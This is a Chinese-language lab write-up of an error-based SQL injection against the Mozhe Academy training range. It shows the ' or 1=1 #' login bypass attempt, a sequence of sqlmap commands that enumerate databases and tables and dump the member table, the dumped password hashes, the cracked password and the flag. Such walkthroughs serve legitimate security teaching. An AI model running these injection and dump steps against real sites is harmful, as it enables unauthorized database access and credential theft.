渗透测试之SQL注入(报错注入)
SQL注入(报错注入)
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
本次讲的SQL注入类型是”报错注入”,它通过构造特定payload让信息通过错误提示回显出来,主要应用于查询不回现的内容,会返回错误信息;Update、insert等语句,会返回错误的数据库信息。
下面使用墨者学院的SQL注入靶场:http://124.70.71.251:46756/
可能对刚刚入门的小白来说,SQL注入还是很陌生的一个词,完全搞不懂它的原理是什么,怎么利用,这点不用担心。今天我们就来使用墨者学院的SQL注入靶场来一步一步复现SQL注入这个漏洞。
当我看到这个靶场的时候,我个人习惯会在账号密码的框内试着插入一条万能密码,也就是 or 1=1 # ,可是并没有这个漏洞,靶场的url传参也没有实际性的参数,我们只能从别的地方入手。
开头我们找不到突破口,下面我们可以试着从别的地方入手,说不定就有用呢,点击它的公告看看,发现会跳转到一个页面。
可以很清晰的看到它的url后面有一个传参?id=1,当看到这个传参就说明这里可能存在SQL注入,”当然并不是所有的url后面有?id=1就说明存在SQL注入”,我们可以试着使用sqlmap这款工具去跑跑它的数据。sqlmap是一款集成了很多SQL注入类型的一个工具,能精准的识别SQL注入类型,属于一款轻量级的软件,使用起来也很方便,具体的使用方法可以百度一下,这里就不细说了。
使用这段命令:python sqlmap.py -u xxx(url地址)—level 3 (level是等级的意思),我们可以看到sqlmap跑出了注入类型,正是我们的报错注入。
下面就去跑它的一个数据库库名:python sqlmap.py -u xxx(url地址)—level 3 —dbs(database的缩写)
成功跑出来5个数据库库名:
information_schema
mysql
performance_schema
stormgroup
test
接着进入stormgroup这个库里面:python sqlmap.py -u xxx(url地址)—level 3 -D stormgroup —tables (表名的意思)
得到两个表名:
member
notice
我们就进入member这个表里:python sqlmap.py -u xxx(url地址)—level 3 -D stormgroup -T member —dump
得到momber这个表里的账号和密码:
| mozhe | 0 | |3114b433dece9180717f2b7de56b28a3|
| mozhe | 1 | |cb608ce138da89042e0d9b99bead8f98|
通过对MD5进行解密,成功得到密码:625535
最后通过在它的前端登录页面输入账号密码,成功进入它的后台,得到本次的flag:mozhefffed8a8b64c327d2475b54ec33